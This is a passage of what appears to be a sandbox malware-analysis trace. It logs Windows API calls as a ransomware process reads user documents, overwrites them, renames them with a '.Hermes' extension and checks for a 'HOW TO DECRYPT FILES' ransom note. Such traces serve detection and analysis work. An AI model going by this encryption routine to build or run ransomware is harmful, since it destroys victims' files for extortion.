lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", lpFilePart=0x0) returned 0x38 [0091.410] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e3a8) returned 1 [0091.410] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka" (normalized: "c:\\users\\fd1hvy\\desktop\\how to decrypt files.txt.marozka"), fInfoLevelId=0x0, lpFileInformation=0x19e424 | out: lpFileInformation=0x19e424*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0091.411] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e3a4) returned 1 [0091.411] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\1v32WDK.pptx", nBufferLength=0x105, lpBuffer=0x19dddc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\1v32WDK.pptx", lpFilePart=0x0) returned 0x26 [0091.411] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e320) returned 1 [0091.411] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\1v32WDK.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\1v32wdk.pptx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0091.412] GetFileType (hFile=0x304) returned 0x1 [0091.412] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e31c) returned 1 [0091.412] GetFileType (hFile=0x304) returned 0x1 [0091.412] WriteFile (in: hFile=0x304, lpBuffer=0x2fc92a8*, nNumberOfBytesToWrite=0x5750, lpNumberOfBytesWritten=0x19e3d0, lpOverlapped=0x0 | out: lpBuffer=0x2fc92a8*, lpNumberOfBytesWritten=0x19e3d0*=0x5750, lpOverlapped=0x0) returned 1 [0091.413] CloseHandle (hObject=0x304) returned 1 [0091.414] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\1v32WDK.pptx", nBufferLength=0x105, lpBuffer=0x19df00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\1v32WDK.pptx", lpFilePart=0x0) returned 0x26 [0091.414] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\1v32WDK.pptx.Hermes", nBufferLength=0x105, lpBuffer=0x19df00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\1v32WDK.pptx.Hermes", lpFilePart=0x0) returned 0x2d [0091.414] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e3b4) returned 1 [0091.414] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\1v32WDK.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\1v32wdk.pptx"), fInfoLevelId=0x0, lpFileInformation=0x19e430 | out: lpFileInformation=0x19e430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb98f00, ftCreationTime.dwHighDateTime=0x1d4bcef, ftLastAccessTime.dwLowDateTime=0x93c08ad0, ftLastAccessTime.dwHighDateTime=0x1d50605, ftLastWriteTime.dwLowDateTime=0xaff3b5c3, ftLastWriteTime.dwHighDateTime=0x1d51251, nFileSizeHigh=0x0, nFileSizeLow=0x5750)) returned 1 [0091.414] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e3b0) returned 1 [0091.414] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\1v32WDK.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\1v32wdk.pptx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\1v32WDK.pptx.Hermes" (normalized: "c:\\users\\fd1hvy\\documents\\1v32wdk.pptx.hermes")) returned 1 [0091.415] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\4z4 82v.xlsx", nBufferLength=0x105, lpBuffer=0x19ddf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\4z4 82v.xlsx", lpFilePart=0x0) returned 0x26 [0091.415] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e334) returned 1 [0091.415] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\4z4 82v.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\4z4 82v.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0091.415] GetFileType (hFile=0x304) returned 0x1 [0091.415] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e330) returned 1 [0091.415] GetFileType (hFile=0x304) returned 0x1 [0091.415] GetFileSize (in: hFile=0x304, lpFileSizeHigh=0x19e430 | out: lpFileSizeHigh=0x19e430*=0x0) returned 0x153f1 [0091.415] ReadFile (in: hFile=0x304, lpBuffer=0x40d5658, nNumberOfBytesToRead=0x153f1, lpNumberOfBytesRead=0x19e3dc, lpOverlapped=0x0 | out: lpBuffer=0x40d5658*, lpNumberOfBytesRead=0x19e3dc*=0x153f1, lpOverlapped=0x0) returned 1 [0091.415] CloseHandle (hObject=0x304) returned 1 [0091.442] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", nBufferLength=0x105, lpBuffer=0x19def4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", lpFilePart=0x0) returned 0x38 [0091.442] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e3a8) returned 1 [0091.442] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka" (normalized: "c:\\users\\fd1hvy\\desktop\\how to decrypt files.txt.marozka"), fInfoLevelId=0x0, lpFileInformation=0x19e424 | out: lpFileInformation=0x19e424*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0091.442] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e3a4) returned 1 [0091.442] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\4z4 82v.xlsx", nBufferLength=0x105, lpBuffer=0x19dddc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\4z4 82v.xlsx", lpFilePart=0x0) returned 0x26 [0091.442] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e320) returned 1 [0091.442] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\4z4 82v.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\4z4 82v.xlsx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0091.444] GetFileType (hFile=0x304) returned 0x1 [0091.444] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e31c) returned 1 [0091.444] GetFileType (hFile=0x304) returned 0x1 [0091.444] WriteFile (in: hFile=0x304, lpBuffer=0x413fa88*, nNumberOfBytesToWrite=0x15400, lpNumberOfBytesWritten=0x19e3d0, lpOverlapped=0x0 | out: lpBuffer=0x413fa88*, lpNumberOfBytesWritten=0x19e3d0*=0x15400, lpOverlapped=0x0) returned 1 [0091.459] CloseHandle (hObject=0x304) returned 1 [0091.461] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\4z4 82v.xlsx", nBufferLength=0x105, lpBuffer=0x19df00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\4z4 82v.xlsx", lpFilePart=0x0) returned 0x26 [0091.461] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\4z4 82v.xlsx.Hermes", nBufferLength=0x105, lpBuffer=0x19df00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\4z4 82v.xlsx.Hermes", lpFilePart=0x0) returned 0x2d [0091.461] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e3b4) returned 1 [0091.461] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\4z4 82v.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\4z4 82v.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x19e430 | out: lpFileInformation=0x19e430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce775290, ftCreationTime.dwHighDateTime=0x1d4dde6, ftLastAccessTime.dwLowDateTime=0x8eb4fda0, ftLastAccessTime.dwHighDateTime=0x1d4fa2f, ftLastWriteTime.dwLowDateTime=0xaffadc4e, ftLastWriteTime.dwHighDateTime=0x1d51251, nFileSizeHigh=0x0, nFileSizeLow=0x15400)) returned 1 [0091.461] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e3b0) returned 1 [0091.461] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\4z4 82v.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\4z4 82v.xlsx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\4z4 82v.xlsx.Hermes" (normalized: "c:\\users\\fd1hvy\\documents\\4z4 82v.xlsx.hermes")) returned 1 [0091.462] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\6jL9GY5.xlsx", nBufferLength=0x105, lpBuffer=0x19ddf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\6jL9GY5.xlsx", lpFilePart=0x0) returned 0x26 [0091.462] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e334) returned 1 [0091.462] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\6jL9GY5.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\6jl9gy5.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0091.462] GetFileType (hFile=0x304) returned 0x1 [0091.462] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e330) returned 1 [0091.462] GetFileType (hFile=0x304) returned 0x1 [0091.462] GetFileSize (in: hFile=0x304, lpFileSizeHigh=0x19e430 | out: lpFileSizeHigh=0x19e430*=0x0) returned 0x49ce [0091.462] ReadFile (in: hFile=0x304, lpBuffer=0x301c390, nNumberOfBytesToRead=0x49ce, lpNumberOfBytesRead=0x19e3dc, lpOverlapped=0x0 | out: lpBuffer=0x301c390*, lpNumberOfBytesRead=0x19e3dc*=0x49ce, lpOverlapped=0x0) returned 1 [0091.463] CloseHandle (hObject=0x304) returned 1 [0091.486] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", nBufferLength=0x105, lpBuffer=0x19def4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", lpFilePart=0x0) returned 0x38 [0091.486] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e3a8) returned 1 [0091.486] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka" (normalized: "c:\\users\\fd1hvy\\desktop\\how to decrypt files.txt.marozka"), fInfoLevelId=0x0, lpFileInformation=0x19e424 | out: lpFileInformation=0x19e424*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0091.487] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e3a4) returned 1 [0091.487] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\6jL9GY5.xlsx", nBufferLength=0x105, lpBuffer=0x19dddc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\6jL9GY5.xlsx", lpFilePart=0x0) returned 0x26 [0091.487] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e320) returned 1 [0091.487] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\6jL9GY5.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\6jl9gy5.xlsx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0091.488] GetFileType (hFile=0x304) returned 0x1 [0091.488] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e31c) returned 1 [0091.488] GetFileType (hFile=0x304) returned 0x1 [0091.488] WriteFile (in: hFile=0x304, lpBuffer=0x308028c*, nNumberOfBytesToWrite=0x49d0, lpNumberOfBytesWritten=0x19e3d0, lpOverlapped=0x0 | out: lpBuffer=0x308028c*, lpNumberOfBytesWritten=0x19e3d0*=0x49d0, lpOverlapped=0x0) returned 1 [0091.489] CloseHandle (hObject=0x304) returned 1 [0091.490] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\6jL9GY5.xlsx", nBufferLength=0x105, lpBuffer=0x19df00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\6jL9GY5.xlsx", lpFilePart=0x0) returned 0x26 [0091.490] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\6jL9GY5.xlsx.Hermes", nBufferLength=0x105, lpBuffer=0x19df00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\6jL9GY5.xlsx.Hermes", lpFilePart=0x0) returned 0x2d [0091.490] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e3b4) returned 1 [0091.490] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\6jL9GY5.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\6jl9gy5.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x19e430 | out: lpFileInformation=0x19e430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcea2890, ftCreationTime.dwHighDateTime=0x1d498d7, ftLastAccessTime.dwLowDateTime=0x237eae20, ftLastAccessTime.dwHighDateTime=0x1d5119d, ftLastWriteTime.dwLowDateTime=0xafffa09c, ftLastWriteTime.dwHighDateTime=0x1d51251, nFileSizeHigh=0x0, nFileSizeLow=0x49d0)) returned 1 [0091.491] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e3b0) returned 1 [0091.491] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\6jL9GY5.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\6jl9gy5.xlsx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\6jL9GY5.xlsx.Hermes" (normalized: "c:\\users\\fd1hvy\\documents\\6jl9gy5.xlsx.hermes")) returned 1 [0091.491] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\9dHCFyZ_.odt", nBufferLength=0x105, lpBuffer=0x19ddf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\9dHCFyZ_.odt", lpFilePart=0x0) returned 0x26 [0091.491] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e334) returned 1 [0091.491] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\9dHCFyZ_.odt" (normalized: "c:\\users\\fd1hvy\\documents\\9dhcfyz_.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0091.491] GetFileType (hFile=0x304) returned 0x1 [0091.491] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e330) returned 1 [0091.492] GetFileType (hFile=0x304) returned 0x1 [0091.492] GetFileSize (in: hFile=0x304, lpFileSizeHigh=0x19e430 | out: lpFileSizeHigh=0x19e430*=0x0) returned 0x15f5d [0091.492] ReadFile (in: hFile=0x304, lpBuffer=0x4154ea8, nNumberOfBytesToRead=0x15f5d, lpNumberOfBytesRead=0x19e3dc, lpOverlapped=0x0 | out: lpBuffer=0x4154ea8*, lpNumberOfBytesRead=0x19e3dc*=0x15f5d, lpOverlapped=0x0) returned 1 [0091.492] CloseHandle (hObject=0x304) returned 1 [0091.548] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", nBufferLength=0x105, lpBuffer=0x19def4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", lpFilePart=0x0) returned 0x38 [0091.548] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e3a8) returned 1 [0091.548] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka" (normalized: "c:\\users\\fd1hvy\\desktop\\how to decrypt files.txt.marozka"), fInfoLevelId=0x0, lpFileInformation=0x19e424 | out: lpFileInformation=0x19e424*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0091.548] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e3a4) returned 1 [0091.549] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\9dHCFyZ_.odt", nBufferLength=0x105, lpBuffer=0x19dddc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\9dHCFyZ_.odt", lpFilePart=0x0) returned 0x26 [0091.549] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e320) returned 1 [0091.549] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\9dHCFyZ_.odt" (normalized: "c:\\users\\fd1hvy\\documents\\9dhcfyz_.odt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0091.550] GetFileType (hFile=0x304) returned 0x1 [0091.550] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e31c) returned 1 [0091.550] GetFileType (hFile=0x304) returned 0x1 [0091.550] WriteFile (in: hFile=0x304, lpBuffer=0x41c2bc8*, nNumberOfBytesToWrite=0x15f60, lpNumberOfBytesWritten=0x19e3d0, lpOverlapped=0x0 | out: lpBuffer=0x41c2bc8*, lpNumberOfBytesWritten=0x19e3d0*=0x15f60, lpOverlapped=0x0) returned 1 [0091.552] CloseHandle (hObject=0x304) returned 1 [0091.555] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\9dHCFyZ_.odt", nBufferLength=0x105, lpBuffer=0x19df00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\9dHCFyZ_.odt", lpFilePart=0x0) returned 0x26 [0091.555] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\9dHCFyZ_.odt.Hermes", nBufferLength=0x105, lpBuffer=0x19df00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\9dHCFyZ_.odt.Hermes", lpFilePart=0x0) returned 0x2d [0091.555] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e3b4) returned 1 [0091.555] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\9dHCFyZ_.odt" (normalized: "c:\\users\\fd1hvy\\documents\\9dhcfyz_.odt"), fInfoLevelId=0x0, lpFileInformation=0x19e430 | out: lpFileInformation=0x19e430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61147850, ftCreationTime.dwHighDateTime=0x1d4d174, ftLastAccessTime.dwLowDateTime=0x759304b0, ftLastAccessTime.dwHighDateTime=0x1d4cd3f, ftLastWriteTime.dwLowDateTime=0xb0092bf2, ftLastWriteTime.dwHighDateTime=0x1d51251, nFileSizeHigh=0x0, nFileSizeLow=0x15f60)) returned 1 [0091.556] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e3b0) returned 1 [0091.556] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\9dHCFyZ_.odt" (normalized: "c:\\users\\fd1hvy\\documents\\9dhcfyz_.odt"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\9dHCFyZ_.odt.Hermes" (normalized: "c:\\users\\fd1hvy\\documents\\9dhcfyz_.odt.hermes")) returned 1 [0091.556] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\Am2R.docx", nBufferLength=0x105, lpBuffer=0x19ddf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\Am2R.docx", lpFilePart=0x0) returned 0x23 [0091.556] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e334) returned 1 [0091.556] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\Am2R.docx" (normalized: "c:\\users\\fd1hvy\\documents\\am2r.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0091.556] GetFileType (hFile=0x304) returned 0x1 [0091.556] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e330) returned 1 [0091.556] GetFileType (hFile=0x304) returned 0x1 [0091.557] GetFileSize (in: hFile=0x304, lpFileSizeHigh=0x19e430 | out: lpFileSizeHigh=0x19e430*=0x0) returned 0x16b3 [0091.557] ReadFile (in: hFile=0x304, lpBuffer=0x30d247c, nNumberOfBytesToRead=0x16b3, lpNumberOfBytesRead=0x19e3dc, lpOverlapped=0x0 | out: lpBuffer=0x30d247c*, lpNumberOfBytesRead=0x19e3dc*=0x16b3, lpOverlapped=0x0) returned 1 [0091.557] CloseHandle (hObject=0x304) returned 1 [0091.589] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", nBufferLength=0x105, lpBuffer=0x19def4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", lpFilePart=0x0) returned 0x38 [0091.589] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e3a8) returned 1 [0091.589] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka" (normalized: "c:\\users\\fd1hvy\\desktop\\how to decrypt files.txt.marozka"), fInfoLevelId=0x0, lpFileInformation=0x19e424 | out: lpFileInformation=0x19e424*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0091.589] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e3a4) returned 1 [0091.589] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\Am2R.docx", nBufferLength=0x105, lpBuffer=0x19dddc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\Am2R.docx", lpFilePart=0x0) returned 0x23 [0091.589] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e320) returned 1 [0091.590] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\Am2R.docx" (normalized: "c:\\users\\fd1hvy\\documents\\am2r.docx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0091.591] GetFileType (hFile=0x304) returned 0x1 [0091.591] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e31c) returned 1 [0091.591] GetFileType (hFile=0x304) returned 0x1 [0091.591] WriteFile (in: hFile=0x304, lpBuffer=0x3126428*, nNumberOfBytesToWrite=0x16c0, lpNumberOfBytesWritten=0x19e3d0, lpOverlapped=0x0 | out: lpBuffer=0x3126428*, lpNumberOfBytesWritten=0x19e3d0*=0x16c0, lpOverlapped=0x0) returned 1 [0091.592] CloseHandle (hObject=0x304) returned 1 [0091.592] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\Am2R.docx", nBufferLength=0x105, lpBuffer=0x19df00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\Am2R.docx", lpFilePart=0x0) returned 0x23 [0091.593] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\Am2R.docx.Hermes", nBufferLength=0x105, lpBuffer=0x19df00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\Am2R.docx.Hermes", lpFilePart=0x0) returned 0x2a [0091.593] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e3b4) returned 1 [0091.593] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\Am2R.docx" (normalized: "c:\\users\\fd1hvy\\documents\\am2r.docx"), fInfoLevelId=0x0, lpFileInformation=0x19e430 | out: lpFileInformation=0x19e430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fc0e150, ftCreationTime.dwHighDateTime=0x1d49b45, ftLastAccessTime.dwLowDateTime=0xf31297c0, ftLastAccessTime.dwHighDateTime=0x1d4ffc1, ftLastWriteTime.dwLowDateTime=0xb010519b, ftLastWriteTime.dwHighDateTime=0x1d51251, nFileSizeHigh=0x0, nFileSizeLow=0x16c0)) returned 1 [0091.593] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e3b0) returned 1 [0091.593] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\Am2R.docx" (normalized: "c:\\users\\fd1hvy\\documents\\am2r.docx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\Am2R.docx.Hermes" (normalized: "c:\\users\\fd1hvy\\documents\\am2r.docx.hermes")) returned 1 [0091.593] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\ayhyoBKV0xMLiy.docx", nBufferLength=0x105, lpBuffer=0x19ddf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\ayhyoBKV0xMLiy.docx", lpFilePart=0x0) returned 0x2d [0091.593] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e334) returned 1 [0091.593] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\ayhyoBKV0xMLiy.docx" (normalized: "c:\\users\\fd1hvy\\documents\\ayhyobkv0xmliy.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0091.594] GetFileType (hFile=0x304) returned 0x1 [0091.594] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e330) returned 1 [0091.594] GetFileType (hFile=0x304) returned 0x1 [0091.594] GetFileSize (in: hFile=0x304, lpFileSizeHigh=0x19e430 | out: lpFileSizeHigh=0x19e430*=0x0) returned 0x160c3 [0091.594] ReadFile (in: hFile=0x304, lpBuffer=0x4268f50, nNumberOfBytesToRead=0x160c3, lpNumberOfBytesRead=0x19e3dc, lpOverlapped=0x0 | out: lpBuffer=0x4268f50*, lpNumberOfBytesRead=0x19e3dc*=0x160c3, lpOverlapped=0x0) returned 1 [0091.596] CloseHandle (hObject=0x304) returned 1 [0091.626] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", nBufferLength=0x105, lpBuffer=0x19def4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", lpFilePart=0x0) returned 0x38 [0091.626] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e3a8) returned 1 [0091.626] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka" (normalized: "c:\\users\\fd1hvy\\desktop\\how to decrypt files.txt.marozka"), fInfoLevelId=0x0, 